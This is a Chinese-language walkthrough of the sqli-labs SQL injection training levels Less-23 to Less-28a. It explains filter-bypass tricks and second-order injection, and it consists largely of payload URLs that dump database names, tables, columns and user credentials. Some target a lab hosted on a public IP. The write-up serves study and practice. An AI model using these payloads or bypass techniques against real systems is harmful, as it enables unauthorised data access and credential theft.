一、注释符
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
Mysql中的注释符:
1、单行注释: --+ 或 --空格 或 #
2、多行注释: /* 多行注释内容 */
对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合单引号、多单引号、双引号、单括号、多括号的功能。
二、去除注释符的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):
执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
三、 绕过去除注释符的SQL注入
利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or ‘1’='1闭合单引号等。
payload:
//爆库:
http://127.0.0.1/sqli/Less-23/?id=-1'union select 1,database(),'3
//爆表:
http://127.0.0.1/sqli/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
//爆列:
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users') ,'3
//爆内容:
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1, (select group_concat(username,0x3a,password) from users) ,'3
二次注入
二次排序注入也成为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
二次排序注入思路:
源代码并没有过滤注释符,通过观察第二张图的更新语句发现我们可以在参数username中进行恶意构造,注释后面的相关语句,从而到达移花接木的目的。
我们先注册一个用户名为admin’#的账户,在我们更改密码的时候update语句的and password =’&curr_pass’被注释,我们就可以任意更改已经存在的用户名为admin的用户的密码。
我们对admin’#账户执行更新密码操作,将密码更新为abc123
发现admin用户的密码被更改为了abc123
四、危害
1、注入Payload触发二次SQL注入
2、注入Payload触发XSS攻击。
一、一些知识
1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码都可以被识别。
3、符号和关键字替换 and = &&、or = ||。
4、内联注释与多行注释 /! 内联注释/ /多行注释/。
二、去除and和or的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject)
:
执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
三、绕过策略
1、大小写变形,Or,OR,oR,OR,And,ANd,aND等 --代码中大小写不敏感 都被剔除
2、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3、利用符号替代————and --&& or–||
4、编码
四、实战(报错注入)
payload:
//爆库:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) --+
//爆表:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+
//爆列:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e),1) --+
//爆内容
http://127.0.0.1/sqli/Less-25/?id=1' anandd and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
http://127.0.0.1/sqli/Less-25/?id=1' anandd and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
和less-25基本相同,只是不再显示报错,没法用报错注入,我们用联合注入,且参数为数字型,不需要闭合。
payload:
//爆库:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,database(),3 --+
//表:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')--+
//爆列:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2, group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
//爆内容:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2, group_concat(username,0x3a,passwoorrd) from users --+
这里过滤的东西就比较多了,除了之前的关键字还过滤了注释符与关键字。对于空格,我们常见的绕过方式就是多行注释,但这里/**/被过滤了行不通;对于注释符被过滤了我们只能构造一个’来闭合到后面的参数;对于空格有较多的方法,我们有很多的特殊字符可以代替空格,具体如下:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
对于and、or的过滤不再赘述,参考less-25
注:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到Linux平台下。
下面给出一个最简单的
payload:
http://127.0.0.1/sqllib/Less-26/?id=1'%a0oorr'1
//'%a0oorr'1中的第一个'用来闭合id='$id'中的',而%a0是空格的意思,oorr是为了绕过or的过滤,最后的'1是为了闭合后面的'
(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。对于%0b也是经过测试可以替换空格的。对于其他上述所列的是没有通过测试的。在利用or和and的替换符号的时候在hackbar中输入&&时,是需要URL编码为%26%26否则会报错,对于||则不用编码,我也不知道为什么…)
payload:
//爆库:
http://127.0.0.1/sqli/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1
//爆表:
http://127.0.0.1/sqli/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1
//爆列:
http://127.0.0.1/sqli/Less-26/?id=0%27%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
//爆内容:
http://127.0.0.1/sqli/Less-26/?id=0%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
//这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询,解释见:https://www.jb51.net/article/38062.htm
与less-26基本相同,只不过闭合方式变为(’’)
payload:
//爆库:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
//爆表:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
//爆列:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
//爆内容:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
更过分了union select都给过滤了,但是用大小写混淆就能通过了。
注:
/s与/m为正则表达式的模式修正符。
/s是将字符串视为单行,换行符作为普通字符。如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
/m是将字符串视为多行。当设定了此修正符,“行起始:^”和“行结束:$”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。
payload:
//爆库:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
//爆表:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
//爆列:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
//爆内容:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
""闭合的盲注
payload:
//求库名长度:
http://43.247.91.228:84/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://43.247.91.228:84/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
//成功回显
//爆库:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
//爆表:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
//查表名需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况
//爆列:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
//爆内容:
http://43.247.91.228:84/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
或:
http://43.247.91.228:84/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0where%a0"1"="1
// 注意这里需要把&&给去掉,我也是经常忘记
没有过滤or与and。
过滤了相连的union和select,/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0可以绕过。
过滤了–、#以及/**/。
过滤了两次空格。
过滤了/但没过滤\。
这关没有报错回显,可以明注、盲注。
直接明注即可:
payload:
//爆库:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1
//爆表:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1
//爆列:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1
//爆内容:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1
过滤or、and
过滤–、#、/**/
过滤/、\
过滤空格两次
过滤union、select同时匹配大小写
过滤union且空白字符连接select同时匹配大小写
基本上过滤了所有字符,但是,所有的一次性过滤都能用双写绕过!除非循环过滤。
和less-28基本没有区别…闭合方式都没改变
payload:
//爆库:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1
//爆表:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1
//爆列:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1
//爆内容:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1